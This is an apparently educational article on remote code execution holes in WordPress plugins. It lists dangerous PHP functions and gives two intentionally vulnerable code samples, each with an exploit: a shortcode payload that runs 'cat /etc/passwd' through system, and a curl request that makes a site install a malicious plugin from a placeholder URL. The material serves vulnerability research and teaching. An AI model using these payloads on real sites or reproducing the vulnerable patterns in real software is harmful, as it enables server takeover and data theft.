Remote Code Execution (RCE)
Introduction
This article covers cases of possible direct RCE on WordPress. This includes improper usage of functions inside the plugin/theme, which can be used to directly execute code or a command on the server.
Useful Functions
Several functions could be useful to identify a possible RCE vulnerability:
system
exec
shell_exec
passthru
proc_open
eval
call_user_func
call_user_func_array
create_function
DEPRECATED as of PHP 7.2.0, and REMOVED as of PHP 8.0.0
Dynamic Function Call
PHP also supports a dynamic function call where we can execute a function from a string or variable. For example:
$action_type = $_GET["action"];$input = $_GET["input"];
echo $action_type($input);
We can supply the action
parameter with an arbitrary function, such as system
, and put our shell command on the input
parameter.
Example Cases
Below is an example of vulnerable code:
function image_render_callback($atts) { $atts = shortcode_atts( array( 'sanitize' => 'esc_attr', 'src'=>'', 'text'=>'' ), $atts);
$chosen_callback = "esc_attr"; $sanitize_callback = array("trim", "esc_attr", "esc_html", "sanitize_text_field"); if(!in_array($atts["sanitize"], $sanitize_callback)){ $chosen_callback = $atts["sanitize"]; }
if ( ! empty( $chosen_callback ) && is_callable( $chosen_callback ) ) { $text = call_user_func( $chosen_callback, $atts["text"] ); }
return sprintf("<img src='%s'>%s</img>", esc_attr($atts["src"]), esc_html($text));
}
add_shortcode("imagerender", "image_render_callback");
To exploit this, the Contributor+ role user needs to create a drafted post with the below content to trigger RCE via the call_user_func
function:
[imagerender src="https://patchstack.com" sanitize="system" text="cat /etc/passwd"]
Arbitrary Plugin Installation
If there is no proper permission check while installing the plugins, it can lead to Remote Code Execution. An attacker can create a malicious ZIP and provide it as the source to install the webshell in the WordPress site.
add_action('wp_ajax_nopriv_install_remote_plugin', function() { if (isset($_GET['install_plugin_url'])) { $plugin_url = esc_url_raw($_GET['install_plugin_url']);
include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; include_once ABSPATH . 'wp-admin/includes/file.php'; include_once ABSPATH . 'wp-admin/includes/misc.php';
$upgrader = new Plugin_Upgrader(); $upgrader->install($plugin_url); }});
To exploit this, any unauthenticated user needs to perform a GET request to the /wp-admin/admin-ajax.php
endpoint specifying the remote URL of the malicious plugin.
curl <WORDPRESS_BASE_URL>/wp-admin/admin-ajax.php?action=install_remote_plugin&install_plugin_url=http://<malicious-url>
Below are some of the findings related to RCE:
Contributors

